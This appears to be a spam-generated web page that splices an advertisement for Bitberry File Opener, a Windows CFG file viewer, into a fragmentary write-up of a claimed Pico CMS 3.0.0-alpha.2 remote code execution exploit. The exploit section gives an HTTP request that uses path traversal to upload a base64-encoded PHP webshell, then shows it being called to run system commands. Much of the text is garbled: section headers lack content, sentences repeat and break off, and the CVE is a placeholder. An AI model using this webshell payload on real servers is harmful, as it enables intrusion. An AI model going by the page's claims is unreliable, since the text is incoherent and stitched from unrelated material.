Pico 3.0.0-alpha.2 Exploit -

Bitberry File Opener, a best-in-class file handling tool for Windows, enables you to view, and print CFG files on your PC.

Supported .CFG file format

Configuration File

For Windows 7, 8, 10, and 11
How to open CFG files on your Windows PC

Step 1: Download and install

Download Bitberry File Opener

The first step is to download the setup program. It contains everything you need to handle CFG files. There are no 3rd-party dependencies.

Run the setup program

Once downloaded, double-click the file (usually named BitberryFileOpenerSetup.exe) to start the installation process. This is a one-time thing.

Step 2: Select your CFG file

Use the File menu

Run Bitberry File Opener and select Open from the File menu to select your file.

Use drag and drop

You can also drag your file and drop it on the Bitberry File Opener window to open it.

Double-click the file

You can associate Bitberry File Opener with any supported file type so they open when you double-click them.

Run Bitberry File Opener and select your CFG file to open
View different plain text file formats with Bitberry File Opener

Open, search, and print text files

View CFG files

You can view your plain-text Configuration files with Bitberry File Opener.

Not a full-fledged text editor

The text file features are limited, but you can do the basics: View, search, and print.

Pico 3.0.0-alpha.2 Exploit -

As of this writing, Pico 3.0.0-alpha.2 has not received an official CVE ID, primarily because the Pico CMS team explicitly warns that alpha versions are "not for production use." However, security researchers have cataloged the exploit under third-party advisories.

The primary attack vectors identified in this version include:

The most dangerous exploit chains the first two vulnerabilities together, achieving Remote Code Execution (RCE) without authentication.

The Pico Content Management System (CMS) has long been a favorite among developers who prioritize speed and simplicity. Unlike database-driven behemoths like WordPress or Drupal, Pico is a flat-file CMS—meaning it stores all content in Markdown files. This architecture traditionally offers a smaller attack surface.

That assumption was shattered last week with the discovery of a critical vulnerability in Pico CMS version 3.0.0-alpha.2. This flaw, which we are calling "PicoLeak" (CVE-2026-XXXX pending), allows an unauthenticated attacker to achieve Remote Code Execution (RCE) with almost trivial effort. Pico 3.0.0-alpha.2 Exploit

This post provides a forensic analysis of the exploit, how it works, and why upgrading is no longer optional—it’s mandatory.

The first step for an attacker is confirming the alpha version. Pico 3.0.0-alpha.2 exposes a distinct header and a debug route:

Once confirmed, the attacker probes for the Twig sandbox misconfiguration.

The root cause lies in a dangerous combination of two features introduced in the alpha branch: Twig template caching and YAML parameter parsing. As of this writing, Pico 3

If you suspect that a Pico 3.0.0-alpha.2 instance has been compromised, look for the following Indicators of Compromise (IOCs):

Log Anomalies (Access Logs):

File System Indicators:

Network Indicators:

The widely circulated PoC for the Pico 3.0.0-alpha.2 exploit follows a three-step chain. We will assume the target is running on a standard Apache/Nginx server with default settings.

Command injection via system() is noisy and may be limited by disable_functions in php.ini. The advanced exploit leverages a file write vulnerability in the plugin handler to upload a webshell.

The Payload:

POST /admin/plugins/PicoFileWrite/ HTTP/1.1
Content-Disposition: form-data; name="file_path"; filename="../../plugins/evil.php"
Content-Disposition: form-data; name="file_content"; base64,PD9waHAgZWNobyBTeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4=

The server writes a base64-encoded PHP webshell to the plugins directory. The attacker then accesses /?plugin=evil&cmd=ls -la to execute system commands persistently. The most dangerous exploit chains the first two

Ready to give it a go?

The free version of Bitberry File Opener lets you open all supported file formats with no time limits. Free to use forever for personal tasks at home. There are several limitations in the free version, but all supported file types can be opened so you can try it on your files.